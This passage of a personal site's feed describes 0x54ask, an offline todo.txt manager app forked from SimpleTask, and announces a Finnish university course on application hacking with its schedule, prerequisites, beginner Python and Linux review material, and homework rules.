&lt;h2 id=&quot;what-is-0x54ask&quot;&gt;What is 0x54ask? &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/0x54ask/#what-is-0x54ask&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/0x54ask/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;0x54ask is a &lt;em&gt;todo.txt&lt;/em&gt; manager. It supports context (@W at work, @H at home...) and tags (+linux, +bank, +tero).&lt;/p&gt;
&lt;p&gt;0x54ask forks SimpleTask Cloudless. It provides passive perks: data safety, automerge, filesystem protection - and it never connects Internet, at all.&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/0x54ask/1.w480.h159aa180.avif 480w, https://terokarvinen.com/0x54ask/1.w800.h159aa180.avif 800w, https://terokarvinen.com/0x54ask/1.w1080.h159aa180.avif 1080w&quot; sizes=&quot;(max-width: 247px) 100vw, 247px&quot;&gt;&lt;img src=&quot;https://terokarvinen.com/0x54ask/1.w800.h159aa180.png&quot; srcset=&quot;https://terokarvinen.com/0x54ask/1.w800.h159aa180.png 800w, https://terokarvinen.com/0x54ask/1.w1080.h159aa180.png 1080w&quot; sizes=&quot;(max-width: 247px) 100vw, 247px&quot; width=&quot;800&quot; height=&quot;1778&quot; alt=&quot;list&quot; style=&quot;max-width: 247px&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/picture&gt;&lt;/span&gt;
&lt;span&gt;&lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/0x54ask/2.w480.h356aa255.avif 480w, https://terokarvinen.com/0x54ask/2.w800.h356aa255.avif 800w, https://terokarvinen.com/0x54ask/2.w1080.h356aa255.avif 1080w&quot; sizes=&quot;(max-width: 247px) 100vw, 247px&quot;&gt;&lt;img src=&quot;https://terokarvinen.com/0x54ask/2.w800.h356aa255.png&quot; srcset=&quot;https://terokarvinen.com/0x54ask/2.w800.h356aa255.png 800w, https://terokarvinen.com/0x54ask/2.w1080.h356aa255.png 1080w&quot; sizes=&quot;(max-width: 247px) 100vw, 247px&quot; width=&quot;800&quot; height=&quot;1778&quot; alt=&quot;quick filter&quot; style=&quot;max-width: 247px&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/picture&gt;&lt;/span&gt;
&lt;span&gt;&lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/0x54ask/3.w480.hbd08793e.avif 480w, https://terokarvinen.com/0x54ask/3.w800.hbd08793e.avif 800w, https://terokarvinen.com/0x54ask/3.w1080.hbd08793e.avif 1080w&quot; sizes=&quot;(max-width: 247px) 100vw, 247px&quot;&gt;&lt;img src=&quot;https://terokarvinen.com/0x54ask/3.w800.hbd08793e.png&quot; srcset=&quot;https://terokarvinen.com/0x54ask/3.w800.hbd08793e.png 800w, https://terokarvinen.com/0x54ask/3.w1080.hbd08793e.png 1080w&quot; sizes=&quot;(max-width: 247px) 100vw, 247px&quot; width=&quot;800&quot; height=&quot;1778&quot; alt=&quot;menu&quot; style=&quot;max-width: 247px&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/picture&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Copyright 2026 Tero Karvinen https://TeroKarvinen.com , Mark Janssen, Willem W and other contributors.&lt;/p&gt;
&lt;h2 id=&quot;todo-txt-manager-context-and-tags&quot;&gt;&lt;span id=&quot;todotxt-manager---context-and-tags&quot;&gt;&lt;/span&gt;Todo.txt manager - context and tags &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/0x54ask/#todo-txt-manager-context-and-tags&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/0x54ask/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Context&lt;/em&gt;: You write down a task. If it was the only thing, what would be the next action? Drill a hole for picture? If the wall is in your home, you&#39;ve got to do it there. Thus, @H (at home).&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Tags&lt;/em&gt;: I&#39;ll be working on +linuxeu project for the next 5 hours. Show me all tasks I can bill on that. Thus, filter by +linuxeu.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Plain text&lt;/em&gt;: Todo.txt is - surprise - plain text. You can edit it with vim, emacs, micro or nano. Todo.txt and calendar.txt use the same +plustags and @Contexts.&lt;/p&gt;
&lt;p&gt;Fully offline, or synchronize how you like.&lt;/p&gt;
&lt;h2 id=&quot;0x54ask-passive-perks&quot;&gt;0x54ask passive perks &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/0x54ask/#0x54ask-passive-perks&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/0x54ask/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;What does 0x54ask fork bring to the table? Data safety, better sync, smaller attack surface, modern interfaces. These benefits work passively. You don&#39;t have to do anything to use them.&lt;/p&gt;
&lt;p&gt;0x54ask:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Keeps your data safe&lt;/em&gt;. It automatically detects if todo.txt has been modified by other programs (such as text editor or syncthing). Modifications appear as soon as 0x54ask sees them. Changes are stored as soon as they are made. At the time of writing, current state of file is checked again.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Automatic merge&lt;/em&gt;. If a conflict is detected, 0x54ask can often automatically merge the changes. This is possible, because todo.txt is a line based format, and many changes appear in different lines. Main approach to auto merge is generic and works, no matter which program made the changes. There is additional support for automatic resolution of Syncthing conflicts. Special support is needed, because these sync conflicts can happen while 0x54ask is not running.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Filesystem protection&lt;/em&gt;: You can pick the directory where todo.txt is. This will be the only directory available for the app. This restriction is enforced by the operating system. The whole filesystem backend was updated to use modern SAF, the Storage Access Framework.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;No Internet&lt;/em&gt;, ever. There is no INTERNET permission, so the operating system prevents app from accessing the Internet. Any synchronization is handled by other applications of your choice, Syncthing (Syncthing fork) recommended. You can also use the app completely offline. Also, all networking related code was removed from the app.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And of course, 0x54ask is &lt;em&gt;Free, Open Source Software&lt;/em&gt; under GPL 3 license. I used new name and app id for 0x54ask, while also giving credit to upstreams of this fork. This way, upstream gets credit for their work, but not reports for my bugs.&lt;/p&gt;
&lt;h2 id=&quot;background&quot;&gt;Background &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/0x54ask/#background&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/0x54ask/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The original &lt;em&gt;SimpleTask Cloudless&lt;/em&gt; aka &lt;a href=&quot;https://github.com/mpcjanssen/simpletask-android&quot;&gt;simpletask-android&lt;/a&gt; was developed by &lt;a href=&quot;https://github.com/mpcjanssen&quot;&gt;Mark Janssen&lt;/a&gt;. The original is now archived and removed from F-Droid. The design and UI felt great, and I could not find an alternative that could compete.&lt;/p&gt;
&lt;p&gt;0x54ask is a fork of &lt;a href=&quot;https://github.com/willemw12/simpletask-android&quot;&gt;willemw12/simpletask-android&lt;/a&gt; by Willem W, a fork of the original SimpleTask. Forking made sense, since some of the changes were large (SAF backend), some removed code (networking), and a key promise is not necessarily shared (no Internet in 0x54ask, no plans for Internet in 0x54ask). Like original SimpleTask, willemw12 fork still asked for access to all files and photos on the phone. The fork had many improvements over the original, so it felt like a good starting point.&lt;/p&gt;
&lt;p&gt;Artificial intelligence was used to help create the improvements after forking.&lt;/p&gt;
&lt;p&gt;The task format is &lt;a href=&quot;http://todotxt.com&quot;&gt;todo.txt&lt;/a&gt; by Gina Trapani. Todo.txt works well
with &lt;a href=&quot;https://terokarvinen.com/2021/calendar-txt/&quot;&gt;calendar.txt&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;download-2&quot;&gt;&lt;span id=&quot;download-1&quot;&gt;&lt;/span&gt;Download &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/0x54ask/#download-2&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/0x54ask/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/0x54ask/x54ask-cloudless-debug.apk&quot;&gt;Download 0x54ask installer apk&lt;/a&gt; or read &lt;a href=&quot;https://gitlab.com/terokarvinen/x54ask&quot;&gt;sources on GitLab&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;adminstrivia&quot;&gt;Adminstrivia &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/0x54ask/#adminstrivia&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/0x54ask/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&quot;Get it on&quot; F-Droid logo property of F-Droid contributors.&lt;/p&gt;
</content>
  </entry>

  <entry>
    <title>Sovellusten hakkerointi</title>
    <link href="https://terokarvinen.com/application-hacking/"/>
    <id>https://terokarvinen.com/application-hacking/</id>
    <published>2026-08-18T15:03:00+03:00</published>
    <updated>2026-08-18T15:03:00+03:00</updated>
    <content type="html">&lt;p&gt;Find vulnerabilities in your app - before criminals do.&lt;/p&gt;
&lt;p&gt;This is &quot;Application hacking&quot; in Finnish: &quot;Sovellusten hakkerointi ja haavoittuvuudet&quot;. In nerd speak, it&#39;s reverse engineering. You&#39;ll learn Ghidra, gdb and similar.&lt;/p&gt;
&lt;p&gt;Co-taught with Lari Iso-Anttila. Sold out, queue started.&lt;/p&gt;
&lt;p&gt;Visitor: Otto Ebeling hacked crypto and got big money - legally and ethically. (Maybe OSINT his Ltd 2023)&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Update: Extra group started!&lt;/em&gt;&lt;/p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Course name&lt;/td&gt;&lt;td&gt;Sovellusten hakkerointi ja haavoittuvuudet&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Study guide&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://opinto-opas.haaga-helia.fi/course/ICI012AS3A&quot;&gt;Sovellusten hakkerointi ja haavoittuvuudet ICI012AS3A kurssikuvaus&lt;/a&gt;, toteutus &lt;a href=&quot;https://opinto-opas.haaga-helia.fi/realization/ICI012AS3A-3004&quot;&gt;ICI012AS3A-3004&lt;/a&gt;;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Timing&lt;/td&gt;&lt;td&gt;2026 &lt;strong&gt;period 1&lt;/strong&gt;, early autumn (w34-w41) (&lt;a href=&quot;https://terokarvinen.com/application-hacking/#schedule&quot;&gt;schedule&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Credits&lt;/td&gt;&lt;td&gt;5 ECTS&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Classes&lt;/td&gt;&lt;td&gt;Pasila, classroom pa5001 (Tero) and pa3005 (Lari), bring your laptop. Thu 14:00-16:45.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Max students&lt;/td&gt;&lt;td&gt;30, &lt;del&gt;sold out, queue started&lt;/del&gt; Extra group, good change for a place.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Language&lt;/td&gt;&lt;td&gt;Finnish (+reading and writing in English)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Remote&lt;/td&gt;&lt;td&gt;No, fully contact in Pasila classroom, mandatory participation&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Feedback&lt;/td&gt;&lt;td&gt;4.3 - 4.8 / 5 &lt;strong&gt;Excellent feedback&lt;/strong&gt; &lt;img src=&quot;https://terokarvinen.com/img/five-stars-15.png&quot; width=&quot;85&quot; height=&quot;15&quot; alt=&quot;Five star experience&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Services&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://hhmoodle.haaga-helia.fi/course/view.php?id=48775&quot;&gt;Moodle: Sovellusten hakkerointi ja haavoittuvuudet&lt;/a&gt;. Laksu. Voluntary extra: &lt;a href=&quot;https://terokarvinen.com/newsletter/&quot;&gt;Tero&#39;s list&lt;/a&gt;.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Teachers&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://TeroKarvinen.com&quot;&gt;Tero Karvinen&lt;/a&gt; and &lt;a href=&quot;https://github.com/lisoant&quot;&gt;Lari Iso-Anttila&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;First class&lt;/td&gt;&lt;td&gt;2026-08-20 w34 Thu 14:30 pa5001, bring your laptop. (Yes, first time starts half an hour later)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Enroll&lt;/td&gt;&lt;td&gt;Extra group starting, come to the first class! &lt;del&gt;Sold out. For a change at a place from the queue, enroll in Peppi and come to the first class.&lt;/del&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;This page will be updated before and during the course.&lt;/p&gt;
&lt;p&gt;&lt;span id=&quot;aikataulu&quot;&gt;&lt;/span&gt;
&lt;span id=&quot;agenda&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id=&quot;schedule&quot;&gt;Schedule &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/application-hacking/#schedule&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/application-hacking/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Thursdays 14:00-16:45 in Pasila, classroom pa5001 &amp;amp; pa3005. Bring your laptop! Check your &lt;a href=&quot;https://hhmoodle.haaga-helia.fi/mod/page/view.php?id=3834577&quot;&gt;group (Leijona or Mänty)&lt;/a&gt; from Moodle.&lt;/p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Day&lt;/th&gt;&lt;th&gt;Topic (mänty)&lt;/th&gt;&lt;th&gt;Topic (leijona)&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;2026-08-20 w34 Thu&lt;/td&gt;&lt;td&gt;1. Introduction. Warm-up. Overview. &lt;em&gt;16:00 Visitor: Janne&lt;/em&gt;: Standards and frameworks.&lt;/td&gt;&lt;td&gt;Intro.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-08-27 w35 Thu&lt;/td&gt;&lt;td&gt;2. &lt;em&gt;14:00 normal start time.&lt;/em&gt; Hacking in and fixing vulnerabilities from source code pa5001 T. h2&lt;/td&gt;&lt;td&gt;Dynamic analysis. pa3005 L. h5.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-09-03 w36 Thu&lt;/td&gt;&lt;td&gt;3. Vierailija Otto Ebeling. Web hacking teardown. pa5001 T h3&lt;/td&gt;&lt;td&gt;Otto. Dynamic analysis 2 [or Crypto] 2. pa3005.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-09-10 w37 Thu&lt;/td&gt;&lt;td&gt;4. Ghidra. pa5001 T. h4&lt;/td&gt;&lt;td&gt;Embedded. pa3005. h6.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-09-17 w38 Thu&lt;/td&gt;&lt;td&gt;5. Dynamic analysis. Debuggers and gdb. pa3005. h5.&lt;/td&gt;&lt;td&gt;Hack &amp;amp; fix from source. pa5001. h2.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-09-24 w39 Thu&lt;/td&gt;&lt;td&gt;6. Embedded systems. pa3005. h6&lt;/td&gt;&lt;td&gt;Web hacking teardown. Ghidra. pa5001. h4.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-10-01 w40 Thu&lt;/td&gt;&lt;td&gt;7. Happy Hacking Day &lt;em&gt;No regular classes - visit Happy Hacking Day instead.&lt;/em&gt;&lt;/td&gt;&lt;td&gt;Happy hacking day.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-10-08 w41 Thu&lt;/td&gt;&lt;td&gt;8. Capture the Flag. Tero and Lari.&lt;/td&gt;&lt;td&gt;CTF.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;This is an advanced course, so topics may change as the course progresses. We expect only the topics change, the dates and the hours are expected to stay unchanged.&lt;/p&gt;
&lt;h2 id=&quot;prerequisites&quot;&gt;Prerequisites &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/application-hacking/#prerequisites&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/application-hacking/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;At the start of the course, you should know:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Programming basics&lt;/li&gt;
&lt;li&gt;Linux basics&lt;/li&gt;
&lt;li&gt;Installing Linux on a virtual machine on your own laptop&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For this Finnish implementation, you should be able to speak Finnish fluently; and read and write Finnish and English.&lt;/p&gt;
&lt;p&gt;Prior knowledge acquired in any way is acceptable. Knowledge can be obtained, for example, from &quot;Linux Servers&quot; or &quot;Programming 1&quot; courses, but self-study is also fine.&lt;/p&gt;
&lt;p&gt;Prerequisites may be verified with a survey if necessary, and course participants may be selected based on an initial test if needed.&lt;/p&gt;
&lt;p&gt;You can review or learn the skills below before the course if you wish. If you already know the topics, you don&#39;t need the &lt;a href=&quot;https://terokarvinen.com/application-hacking/#review&quot;&gt;review package&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;span id=&quot;review&quot;&gt;&lt;/span&gt;
&lt;span id=&quot;kertauspaketti&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id=&quot;review-package&quot;&gt;Review Package &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/application-hacking/#review-package&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/application-hacking/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;If you already know these things, you don&#39;t need the review package. You don&#39;t have to learn these specific languages. If an initial test is held during the course, questions won&#39;t be limited to the review package content.&lt;/em&gt;&lt;/p&gt;
&lt;h3 id=&quot;programming-basics&quot;&gt;Programming Basics &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/application-hacking/#programming-basics&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/application-hacking/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;The course involves coding and reading code&lt;/li&gt;
&lt;li&gt;Any language works (e.g., Python or C).&lt;/li&gt;
&lt;li&gt;Some students say that C is new to them but very useful in reverse engineering.&lt;/li&gt;
&lt;li&gt;Variable, data types (int, float, string, array/list), conditional statement (if-else), loops (for, while), function, class (class, object), execution order&lt;/li&gt;
&lt;li&gt;You can write simple programs&lt;/li&gt;
&lt;li&gt;You can read programming language and library manuals; and search the web for solutions to simple problems&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you want to review Python on Linux, you can start writing code like this:&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;python3&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;&amp;gt;&amp;gt;&amp;gt; print(&amp;quot;Hello, Tero!&amp;quot;)&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;&amp;gt;&amp;gt;&amp;gt; exit()&lt;/span&gt;

&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;nano&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; hello.py&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And here you can write your program:&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-py&quot;&gt;&lt;span class=&quot;hl-source hl-python&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-python&quot;&gt;&lt;span class=&quot;hl-meta hl-qualified-name hl-python&quot;&gt;&lt;span class=&quot;hl-support hl-function hl-builtin hl-python&quot;&gt;print&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-section hl-arguments hl-begin hl-python&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-python&quot;&gt;&lt;span class=&quot;hl-meta hl-string hl-python&quot;&gt;&lt;span class=&quot;hl-string hl-quoted hl-double hl-python&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-python&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-string hl-python&quot;&gt;&lt;span class=&quot;hl-string hl-quoted hl-double hl-python&quot;&gt;Hello, Tero!&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-python&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-section hl-arguments hl-end hl-python&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Save in nano with ctrl-X, y, enter. I personally install the &#39;micro&#39; editor when I code more.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;python3&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; hello.py&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;Hello, Tero!&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And the language basics are explained here:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.python.org/3/tutorial/introduction.html&quot;&gt;3. An Informal Introduction to Python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.python.org/3/tutorial/controlflow.html&quot;&gt;4. More Control Flow Tools&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.python.org/3/tutorial/classes.html&quot;&gt;9. Classes&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I often review languages by writing a bunch of easy warm-up programs.&lt;/p&gt;
&lt;h3 id=&quot;linux-basics&quot;&gt;Linux Basics &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/application-hacking/#linux-basics&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/application-hacking/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Linux is used as a tool. Basic skills are sufficient. The course does not require extensive Linux administration skills.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Using the command line&lt;/li&gt;
&lt;li&gt;Root privileges (sudo)&lt;/li&gt;
&lt;li&gt;Package management (apt-get)&lt;/li&gt;
&lt;li&gt;Directory structure (e.g., /home/tero/, /etc/, /, /var/log, /usr/bin/, /usr/local/bin/)&lt;/li&gt;
&lt;li&gt;Logs (sudo journalctl -n 20; /var/log/apache2/error.log)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Learn the commands from: &lt;a href=&quot;https://terokarvinen.com/2020/command-line-basics-revisited/&quot;&gt;Karvinen 2020: Command Line Basics Revisited&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The easiest way to review is to install Linux on a virtual machine and play with it.&lt;/p&gt;
&lt;h3 id=&quot;installing-linux-on-a-virtual-machine&quot;&gt;Installing Linux on a Virtual Machine &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/application-hacking/#installing-linux-on-a-virtual-machine&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/application-hacking/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;For example, installing Debian in VirtualBox (instructions below)&lt;/li&gt;
&lt;li&gt;You can use other virtualization solutions if you can adapt and solve related challenges yourself (e.g., QEMU, lib-virt, virt-manager...)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Students have installed hundreds of Linuxes with this installation guide: &lt;a href=&quot;https://terokarvinen.com/2021/install-debian-on-virtualbox/&quot;&gt;Install Debian on Virtualbox - Updated 2024&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;small&gt;(For Macintosh users: Apple Macintosh M1, M2, M3, M4... is not suitable for the course. Macs use arm64 architecture, course requires amd64 (x86-64). It&#39;s recommended to bring a regular PC laptop for the course, as many applications and virtual machines used in exercises are only available for this more common amd64 architecture. We recommend bringing an amd64-based laptop running Linux or Windows.)&lt;/small&gt;&lt;/p&gt;
&lt;h2 id=&quot;previous-implementations&quot;&gt;Previous Implementations &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/application-hacking/#previous-implementations&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/application-hacking/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2026/application-hacking--ici012as3ae--ici012as3a--2026p3/&quot;&gt;Application Hacking and Vulnerabilities ICI012AS3AE-3001 (English) ja ICI012AS3A-3003 (Finnish) 2026p3 alkukevät&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/tags/sovellusten-hakkerointi-ja-haavoittuvuudet/&quot;&gt;All implementations &quot;Application Hacking and Vulnerabilities&quot;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;span id=&quot;laksyt&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id=&quot;homework&quot;&gt;Homework &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/application-hacking/#homework&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/application-hacking/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Homework report links are submitted to Laksu 24 hours before the contact session. After submitting your own assignment, you peer-assess two classmates&#39; assignments.&lt;/p&gt;
&lt;p&gt;Homework is done and reported after each class. Assignments can be published anywhere and the link submitted to Laksu. Homework reports must be in a format viewable directly in a browser, as a regular HTML web page. No odt, no odp, no ppt, no docx, no doc, no pdf. Homework cannot be submitted by email. Links are submitted to Laksu and then two works are peer-assessed. Free web hosting is available from WordPress.com, GitHub.com, and Gitlab.com.&lt;/p&gt;
